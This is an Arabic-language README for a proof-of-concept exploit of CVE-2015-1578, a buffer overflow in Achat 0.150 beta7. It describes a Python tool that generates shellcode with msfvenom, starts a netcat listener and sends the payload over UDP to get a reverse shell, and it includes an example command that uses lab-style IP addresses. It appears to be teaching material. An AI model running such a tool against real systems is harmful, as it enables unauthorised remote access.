CVE-2015-1578-PoC

نظرة عامة

هذا استغلال لإثبات المفهوم (PoC) لثغرة CVE-2015-1578، وهي ثغرة تجاوز سعة المخزن المؤقت في Achat 0.150 beta7 على نظام ويندوز. يؤدي استغلال هذه الثغرة إلى تنفيذ تعليمات برمجية عن بُعد عبر حزمة UDP مُعدّة خصيصًا.

الغرض

يهدف هذا الـ PoC إلى تقديم مثال نظيف وبسيط ومنظم جيدًا على تطوير الاستغلالات. وهو يوضح:

• التوليد الديناميكي للـ shellcode عبر msfvenom
• الاستهداف والإعداد المعتمدان على الوسائط
• الإعداد المدمج لمستمع (listener)
• تسليم بسيط للـ payload عبر UDP

فيديو تعليمي

المتطلبات

• Python 3
• msfvenom (جزء من Metasploit Framework)
• rlwrap (لتحسين سهولة استخدام Netcat)

الميزات

• ينشئ ديناميكيًا الـ payload المشفّر بـ Unicode باستخدام msfvenom
• يبدأ تلقائيًا مستمعًا (listener) باستخدام rlwrap nc
• يقبل وسائط سطر أوامر واضحة
• يفشل بشكل أنيق إذا كانت وحدات الـ payload الاختيارية مفقودة

الوسائط

-i <target_ip> عنوان IP الخاص بالهدف (مطلوب) -l, --lhost <listener_ip> عنوان IP للمضيف المحلي للـ reverse shell (مطلوب) -p, --lport <port> المنفذ المحلي للـ reverse shell (مطلوب) --rport <port> منفذ UDP البعيد على الهدف (الافتراضي: 9256)

مثال الاستخدام

python3 chatter.py -i 10.10.10.74 -l 10.10.16.7 -p 9393

سيقوم هذا بـ:

• توليد الـ payload باستخدام LHOST و LPORT المقدمين
• تشغيل مستمع في خيط خلفي
• إرسال الـ payload الخاص بالاستغلال عبر UDP إلى الهدف